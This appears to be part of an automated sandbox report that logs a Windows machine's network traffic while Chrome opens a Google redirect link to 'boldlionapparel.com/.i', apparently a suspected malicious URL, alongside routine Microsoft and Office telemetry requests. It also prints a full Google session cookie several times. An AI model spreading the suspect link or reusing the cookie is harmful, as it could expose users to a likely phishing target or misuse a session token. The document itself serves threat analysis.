HREF="https://www.google.com.sg/url?q=https://boldlionapparel.com/.i">here</A>.</BODY></HTM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-16 15:56:20 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=175719 Date: Wed, 16 Oct 2024 15:56:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-16 15:56:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	142.250.184.227	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:20 UTC	906	OUT	GET /url?q=https://boldlionapparel.com/.i HTTP/1.1 Host: www.google.com.sg Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
2024-10-16 15:56:20 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ELJRNtqkhfSLmPhiOEDb6A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-16 15:56:20 UTC	361	IN	Data Raw: 35 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 20 4e 6f 74 69 63 65 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 2c 64 69 76 2c 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 52 6f 62 6f 74 6f 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 70 78 7d 64 69 76 7b 63 6f 6c 6f 72 3a 23 30 30 30 7d 61 3a 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 36 38 31 64 61 38 7d 61 3a 76 69 73 Data Ascii: 5f8<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Redirect Notice</title><style>body,div,a{font-family:Roboto,sans-serif}body{background-color:#fff;margin-top:3px}div{color:#000}a:link{color:#681da8}a:vis
2024-10-16 15:56:20 UTC	1174	IN	Data Raw: 6f 6c 69 64 20 76 61 72 28 2d 2d 67 53 35 6a 58 62 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 38 66 39 66 61 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 64 69 76 2e 61 58 67 61 47 62 7b 70 61 64 64 69 6e 67 3a 30 2e 35 65 6d 20 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 7d 64 69 76 2e 66 54 6b 37 76 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 35 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 6d 47 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 58 67 61 47 62 22 3e 3c 66 6f 6e 74 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 22 3e 3c 62 3e 52 65 64 69 72 65 63 74 20 Data Ascii: olid var(--gS5jXb);background:#f8f9fa;margin-top:1em;width:100%}div.aXgaGb{padding:0.5em 0;margin-left:10px}div.fTk7vd{margin-left:35px;margin-top:35px}</style></head><body><div class="mymGo"><div class="aXgaGb"><font style="font-size:larger"><b>Redirect
2024-10-16 15:56:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	142.250.184.227	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:21 UTC	1318	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com.sg Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com.sg/url?q=https://boldlionapparel.com/.i Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
2024-10-16 15:56:22 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 16 Oct 2024 03:46:28 GMT Expires: Thu, 24 Oct 2024 03:46:28 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 43794 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-16 15:56:22 UTC	672	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-10-16 15:56:22 UTC	1378	IN	Data Raw: f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv
2024-10-16 15:56:22 UTC	1378	IN	Data Raw: 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 56 a9 37 ff b1 d2 9b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 Data Ascii: S4S4S4V7S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{d
2024-10-16 15:56:22 UTC	1378	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff Data Ascii: BBBBBBBBBBBF!4I
2024-10-16 15:56:22 UTC	624	IN	Data Raw: 00 00 00 00 fe fe fe 26 fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	172.217.23.99	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:23 UTC	659	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com.sg Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
2024-10-16 15:56:23 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 16 Oct 2024 09:42:08 GMT Expires: Thu, 24 Oct 2024 09:42:08 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 22455 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-16 15:56:23 UTC	672	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-10-16 15:56:23 UTC	1378	IN	Data Raw: f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv
2024-10-16 15:56:23 UTC	1378	IN	Data Raw: 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 56 a9 37 ff b1 d2 9b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 Data Ascii: S4S4S4V7S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{d
2024-10-16 15:56:23 UTC	1378	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff Data Ascii: BBBBBBBBBBBF!4I
2024-10-16 15:56:23 UTC	624	IN	Data Raw: 00 00 00 00 fe fe fe 26 fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &$

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:28 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:29 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:28 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 14 Oct 2024 13:20:05 GMT ETag: "0x8DCEC52EAEA89D6" x-ms-request-id: 841c68bc-001e-0014-43d9-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155628Z-16b659b44994sjcfes83c39y40000000063000000000t3zk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:29 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-16 15:56:29 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-16 15:56:29 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
